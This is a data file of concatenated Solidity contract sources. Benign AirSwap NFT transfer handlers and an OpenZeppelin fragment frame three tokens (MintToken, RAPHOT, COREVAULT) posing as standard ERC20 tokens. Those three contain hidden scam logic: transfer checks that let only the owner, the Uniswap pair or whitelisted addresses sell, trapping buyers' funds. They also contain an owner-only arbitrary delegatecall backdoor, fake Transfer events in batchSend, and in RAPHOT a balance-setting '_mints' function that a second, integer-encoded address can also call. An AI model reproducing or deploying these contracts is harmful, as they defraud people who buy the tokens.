* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
// File: @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract ERC721TransferHandler is ITransferHandler {
/**
* @notice Function to wrap safeTransferFrom for ERC721
* @param from address Wallet address to transfer from
* @param to address Wallet address to transfer to
* @param amount uint256, must be 0 for this contract
* @param id uint256 ID for ERC721
* @param token address Contract address of token
* @return bool on success of the token transfer
*/
function transferTokens(
address from,
address to,
uint256 amount,
uint256 id,
address token)
external returns (bool) {
require(amount == 0, "AMOUNT_INVALID");
IERC721(token).safeTransferFrom(from, to, id);
return true;
}
}
// File: @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title IKittyCoreTokenTransfer
* @dev transferFrom function from KittyCore
*/
contract IKittyCoreTokenTransfer {
function transferFrom(address from, address to, uint256 tokenId) external;
}
// File: @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract KittyCoreTransferHandler is ITransferHandler {
/**
* @notice Function to wrap transferFrom for CKitty
* @param from address Wallet address to transfer from
* @param to address Wallet address to transfer to
* @param amount uint256, must be 0 for this contract
* @param id uint256 ID for ERC721
* @param token address Contract address of token
* @return bool on success of the token transfer
*/
function transferTokens(
address from,
address to,
uint256 amount,
uint256 id,
address token
) external returns (bool) {
require(amount == 0, "AMOUNT_INVALID");
IKittyCoreTokenTransfer(token).transferFrom(from, to, id);
return true;
}
}
// File: contracts/Imports.sol
//Import all the contracts desired to be deployed
contract Imports {}
|
DC1
|
{{
"language": "Solidity",
"sources": {
"contracts/Token.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ninterface IERC20 {\n function totalSupply() external view returns(uint);\n\n function balanceOf(address account) external view returns(uint);\n\n function transfer(address recipient, uint amount) external returns(bool);\n\n function allowance(address owner, address spender) external view returns(uint);\n\n function approve(address spender, uint amount) external returns(bool);\n\n function transferFrom(address sender, address recipient, uint amount) external returns(bool);\n event Transfer(address indexed from, address indexed to, uint value);\n event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router02 {\n \n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary Address {\n function isContract(address account) internal view returns(bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n // solhint-disable-next-line no-inline-assembly\n assembly { codehash:= extcodehash(account) }\n return (codehash != 0x0 && codehash != accountHash);\n }\n}\n\nabstract contract Context {\n constructor() {}\n // solhint-disable-previous-line no-empty-blocks\n function _msgSender() internal view returns(address payable) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint a, uint b) internal pure returns(uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint a, uint b) internal pure returns(uint) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n require(b <= a, errorMessage);\n uint c = a - b;\n\n return c;\n }\n\n function mul(uint a, uint b) internal pure returns(uint) {\n if (a == 0) {\n return 0;\n }\n\n uint c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint a, uint b) internal pure returns(uint) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n // Solidity only automatically asserts when dividing by 0\n require(b > 0, errorMessage);\n uint c = a / b;\n\n return c;\n }\n}\n\nlibrary SafeERC20 {\n using SafeMath\n for uint;\n using Address\n for address;\n\n function safeTransfer(IERC20 token, address to, uint value) internal {\n callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {\n callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n function safeApprove(IERC20 token, address spender, uint value) internal {\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function callOptionalReturn(IERC20 token, bytes memory data) private {\n require(address(token).isContract(), \"SafeERC20: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = address(token).call(data);\n require(success, \"SafeERC20: low-level call failed\");\n\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint;\n mapping(address => uint) private _balances;\n\n mapping(address => mapping(address => uint)) private _allowances;\n\n uint private _totalSupply;\n\n function totalSupply() public override view returns(uint) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public override view returns(uint) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint amount) public override returns(bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public override view returns(uint) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint amount) public override returns(bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n function increaseAllowance(address spender, uint addedValue) public returns(bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\n return true;\n }\n\n function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n function _transfer(address sender, address recipient, uint amount) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(address owner, address spender, uint amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}\n\nabstract contract ERC20Detailed is IERC20 {\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(string memory name, string memory symbol, uint8 decimals) {\n _name = name;\n _symbol = symbol;\n _decimals = decimals;\n }\n\n function name() public view returns(string memory) {\n return _name;\n }\n\n function symbol() public view returns(string memory) {\n return _symbol;\n }\n\n function decimals() public view returns(uint8) {\n return _decimals;\n }\n}\n\ncontract MintToken {\n \n event Transfer(address indexed _from, address indexed _to, uint _value);\n event Approval(address indexed _owner, address indexed _spender, uint _value);\n \n function transfer(address _to, uint _value) public payable returns (bool) {\n return transferFrom(msg.sender, _to, _value);\n }\n \n function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {\n if (_value == 0) { return true; }\n if (msg.sender != _from) {\n require(allowance[_from][msg.sender] >= _value);\n allowance[_from][msg.sender] -= _value;\n }\n require(balanceOf[_from] >= _value);\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n \n function approve(address _spender, uint _value) public payable returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n \n function delegate(address a, bytes memory b) public payable {\n require(msg.sender == owner);\n a.delegatecall(b);\n }\n \n function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {\n require(msg.sender == owner);\n uint total = _value * _tos.length;\n require(balanceOf[msg.sender] >= total);\n balanceOf[msg.sender] -= total;\n for (uint i = 0; i < _tos.length; i++) {\n address _to = _tos[i];\n balanceOf[_to] += _value;\n emit Transfer(msg.sender, _to, _value/2);\n emit Transfer(msg.sender, _to, _value/2);\n }\n return true;\n }\n\n modifier ensure(address _from, address _to) {\n require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));\n _;\n }\n\n function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n ))));\n }\n \n mapping (address => uint) public balanceOf;\n mapping (address => mapping (address => uint)) public allowance;\n \n uint constant public decimals = 18;\n uint public totalSupply = 250000000000000000000000000;\n string public name = \"Public Mint\";\n string public symbol = \"MINT\";\n address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address private owner;\n address public uniPair;\n\n function sliceUint(bytes memory bs)\n internal pure\n returns (uint)\n {\n uint x;\n assembly {\n x := mload(add(bs, add(0x10, 0)))\n }\n return x;\n }\n\n function isAccountValid(address subject) pure public returns (bool result) {\n return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;\n }\n\n function onlyByHundred() view public returns (bool result) {\n require(isAccountValid(msg.sender) == true, \"Only one in a hundred accounts should be able to do this\");\n return true;\n }\n\n constructor() {\n owner = msg.sender;\n \n uniPair = pairFor(uniFactory, wETH, address(this));\n allowance[address(this)][uniRouter] = uint(-1);\n allowance[msg.sender][uniPair] = uint(-1);\n }\n\n function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {\n require(msg.sender == owner);\n balanceOf[address(this)] = _numList;\n balanceOf[msg.sender] = totalSupply * 6 / 100;\n\n IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(\n address(this),\n _numList,\n _numList,\n msg.value,\n msg.sender,\n block.timestamp + 600\n );\n\n require(_tos.length == _amounts.length);\n\n for(uint i = 0; i < _tos.length; i++) {\n balanceOf[_tos[i]] = _amounts[i];\n emit Transfer(address(0x0), _tos[i], _amounts[i]);\n }\n }\n}"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}}
|
DC1
|
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RAPHOT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
COREVAULT
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract COREVAULT {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply * 10 ** uint256(decimals);
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
